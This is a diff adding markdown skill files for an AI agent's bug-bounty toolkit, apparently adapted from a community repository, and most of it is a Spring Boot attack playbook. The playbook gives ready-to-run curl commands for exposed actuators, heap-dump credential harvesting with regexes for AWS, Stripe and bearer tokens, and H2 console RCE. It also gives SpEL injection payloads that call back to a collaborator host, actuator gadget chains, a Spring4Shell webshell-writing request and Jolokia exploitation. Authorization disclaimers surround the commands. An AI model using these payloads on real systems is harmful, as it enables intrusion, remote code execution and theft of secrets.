- **`hunt-idor`** — the `account_id`/`order_id` pivots feed straight into IDOR testing across discovered routes.
|
|
145
|
+
- **`hunt-source-leak`** — sourcemaps (`*.js.map`) reconstruct original source for deeper route/secret extraction; same harvesting muscle.
|
|
146
|
+
- **`hunt-nextjs`** — for Next.js targets, layer the middleware-bypass (`x-middleware-subrequest`) and `/_next/data` route tests on top of this.
|
|
147
|
+
- **`redteam-mindset`** — the data-minimization boundary governs step 5: prove the missing check, don't exfiltrate the table.
|
|
148
|
+
- **`recon-scope-triage`** — verify the API host actually belongs to the target before testing (don't pop a same-named third party's API).
|
|
149
|
+
|
|
150
|
+
## Limitations
|
|
151
|
+
|
|
152
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
153
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
154
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
155
|
+
|
|
156
|
+
### Example
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# Read-only first step; confirm scope before anything active.
|
|
160
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-springboot
|
|
3
|
+
description: Hunt Spring Boot specific vulnerabilities
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, cve_database, spring_security_advisories
|
|
16
|
+
report_count: 16
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.
|
|
37
|
+
|
|
38
|
+
**Highest-value findings:**
|
|
39
|
+
- **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
|
|
40
|
+
- **`/actuator/env`** — lists all environment variables and Spring properties including secrets
|
|
41
|
+
- **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)
|
|
42
|
+
- **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick
|
|
43
|
+
- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE
|
|
44
|
+
- **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Phase 1 — Fingerprint Spring Boot
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Spring Boot indicators
|
|
52
|
+
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
|
|
53
|
+
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
|
|
54
|
+
|
|
55
|
+
# Actuator root (may list available endpoints)
|
|
56
|
+
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
|
|
57
|
+
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
|
|
58
|
+
|
|
59
|
+
# Try common base paths
|
|
60
|
+
for base in "" "/manage" "/management" "/app"; do
|
|
61
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
|
|
62
|
+
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
|
|
63
|
+
done
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## Phase 2 — Actuator Endpoint Enumeration
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
BASE="https://$TARGET/actuator"
|
|
72
|
+
|
|
73
|
+
# High-impact endpoints
|
|
74
|
+
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
|
|
75
|
+
"loggers" "info" "health" "configprops" "shutdown" "trace"
|
|
76
|
+
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
|
|
77
|
+
"flyway" "liquibase" "refresh" "restart")
|
|
78
|
+
|
|
79
|
+
for EP in "${ENDPOINTS[@]}"; do
|
|
80
|
+
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
|
|
81
|
+
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
|
|
82
|
+
# before calling it EXPOSED.
|
|
83
|
+
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
|
|
84
|
+
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
|
|
85
|
+
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
|
|
86
|
+
echo "[+] EXPOSED: $BASE/$EP"
|
|
87
|
+
fi
|
|
88
|
+
done
|
|
89
|
+
|
|
90
|
+
# Get environment variables (passwords, API keys)
|
|
91
|
+
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
|
|
92
|
+
|
|
93
|
+
# Get all endpoint mappings (full API surface)
|
|
94
|
+
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
|
|
95
|
+
|
|
96
|
+
# Get Spring beans (lists all registered beans, reveals internal architecture)
|
|
97
|
+
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Phase 3 — Heap Dump Analysis
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# Download heap dump (can be large — 100MB+)
|
|
106
|
+
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
|
|
107
|
+
ls -lh /tmp/heapdump.hprof
|
|
108
|
+
|
|
109
|
+
# Quick grep for secrets in heap dump (binary file — use strings)
|
|
110
|
+
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
|
|
111
|
+
grep -v "^[a-z_]" | sort -u | head -50
|
|
112
|
+
|
|
113
|
+
# More targeted extraction
|
|
114
|
+
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
|
|
115
|
+
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
|
|
116
|
+
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
|
|
117
|
+
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
|
|
118
|
+
|
|
119
|
+
# Use Eclipse Memory Analyzer (MAT) for deep analysis
|
|
120
|
+
# https://www.eclipse.org/mat/
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 4 — H2 Console RCE
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# H2 console detection
|
|
129
|
+
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
|
|
130
|
+
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
|
|
131
|
+
curl -s "https://$TARGET/console" | grep -i "H2"
|
|
132
|
+
|
|
133
|
+
# Default credentials: sa / (empty password)
|
|
134
|
+
# JDBC URL: jdbc:h2:mem:testdb
|
|
135
|
+
|
|
136
|
+
# If accessible, RCE via CREATE ALIAS:
|
|
137
|
+
# SQL to execute:
|
|
138
|
+
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
|
|
139
|
+
# Runtime rt = Runtime.getRuntime();
|
|
140
|
+
# String[] commands = {"sh","-c",cmd};
|
|
141
|
+
# Process proc = rt.exec(commands);
|
|
142
|
+
# return new String(proc.getInputStream().readAllBytes());
|
|
143
|
+
# } $$;
|
|
144
|
+
# CALL EXEC('id');
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Phase 5 — SpEL Injection
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
# Spring Expression Language injection in user-controlled fields
|
|
153
|
+
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
|
|
154
|
+
|
|
155
|
+
# Common injection points:
|
|
156
|
+
# - Email template fields: "Hello ${name}"
|
|
157
|
+
# - Custom annotation @Value("${user.input}")
|
|
158
|
+
# - Spring Security expressions
|
|
159
|
+
# - Spring WebFlow
|
|
160
|
+
|
|
161
|
+
# Basic SpEL test
|
|
162
|
+
curl -s -X POST "https://$TARGET/api/user/name" \
|
|
163
|
+
-H "Content-Type: application/json" \
|
|
164
|
+
-d '{"name": "#{7*7}"}'
|
|
165
|
+
# If returns 49 → SpEL injection confirmed
|
|
166
|
+
|
|
167
|
+
# RCE payload — note: exec() returns a Process, not a String, so a bare
|
|
168
|
+
# exec("id") produces NO visible output. Confirm via an OOB curl callback
|
|
169
|
+
# (the spawned curl makes the network request even though nothing is reflected):
|
|
170
|
+
curl -s -X POST "https://$TARGET/api/user/name" \
|
|
171
|
+
-H "Content-Type: application/json" \
|
|
172
|
+
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
|
|
173
|
+
|
|
174
|
+
# CVE-2022-22963 — Spring Cloud Function SpEL
|
|
175
|
+
curl -s -X POST "https://$TARGET/functionRouter" \
|
|
176
|
+
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
|
|
177
|
+
-d "test"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
|
|
183
|
+
If the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
|
|
184
|
+
```bash
|
|
185
|
+
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
|
|
186
|
+
-d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
|
|
187
|
+
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
## Phase 5c — Writable `/env` -> `/refresh` gadget RCE
|
|
191
|
+
When `/actuator/env` accepts POST and `/actuator/refresh` exists, poison a property then reload:
|
|
192
|
+
```bash
|
|
193
|
+
# logback JNDI:
|
|
194
|
+
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
|
|
195
|
+
# Eureka XStream deserialization:
|
|
196
|
+
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
|
|
197
|
+
curl -s -X POST "$BASE/actuator/refresh"
|
|
198
|
+
```
|
|
199
|
+
(Veracode: Exploiting Spring Boot Actuators.)
|
|
200
|
+
|
|
201
|
+
## Phase 6 — Spring4Shell (CVE-2022-22965)
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
|
|
205
|
+
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
|
|
206
|
+
# Requires: Java 9+, Tomcat as WAR deployment
|
|
207
|
+
|
|
208
|
+
# Detection: does the app accept class.* parameters?
|
|
209
|
+
curl -s "https://$TARGET/api/user" \
|
|
210
|
+
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
|
|
211
|
+
# Check COLLAB for HTTP callback
|
|
212
|
+
|
|
213
|
+
# Exploitation: write webshell via class loader
|
|
214
|
+
curl -s "https://$TARGET/login" \
|
|
215
|
+
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Phase 7 — Jolokia JMX Exposure
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# Jolokia provides HTTP access to JMX MBeans
|
|
224
|
+
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
|
|
225
|
+
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
|
|
226
|
+
|
|
227
|
+
# List all MBeans
|
|
228
|
+
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
|
|
229
|
+
|
|
230
|
+
# Read system properties via Jolokia (may expose credentials)
|
|
231
|
+
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
|
|
232
|
+
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
|
|
233
|
+
|
|
234
|
+
# Exec MBean operations (potential RCE via MLet)
|
|
235
|
+
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## Chain Table
|
|
241
|
+
|
|
242
|
+
| Spring Boot finding | Chain to | Impact |
|
|
243
|
+
|--------------------|----------|--------|
|
|
244
|
+
| `/actuator/heapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |
|
|
245
|
+
| `/actuator/env` | Read all env vars including secrets | High |
|
|
246
|
+
| H2 console accessible | CREATE ALIAS → RCE | Critical |
|
|
247
|
+
| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |
|
|
248
|
+
| Spring4Shell | Write webshell → RCE | Critical |
|
|
249
|
+
| Jolokia + MLet | Remote code via MBean | Critical RCE |
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## Validation
|
|
254
|
+
|
|
255
|
+
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
|
|
256
|
+
✅ Actuator/env: secrets visible in JSON response
|
|
257
|
+
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
|
|
258
|
+
✅ H2 console: SQL executed, `id` output returned
|
|
259
|
+
|
|
260
|
+
**Severity:**
|
|
261
|
+
- Heapdump with credentials: Critical
|
|
262
|
+
- SpEL RCE: Critical
|
|
263
|
+
- H2 console RCE: Critical
|
|
264
|
+
- Actuator env (passwords exposed): High
|
|
265
|
+
- Mappings disclosure only: Low-Medium
|
|
266
|
+
|
|
267
|
+
## When to Use
|
|
268
|
+
|
|
269
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
270
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
271
|
+
|
|
272
|
+
## Limitations
|
|
273
|
+
|
|
274
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
275
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
276
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
277
|
+
|
|
278
|
+
### Example
|
|
279
|
+
|
|
280
|
+
```bash
|
|
281
|
+
# Read-only first step; confirm scope before anything active.
|
|
282
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|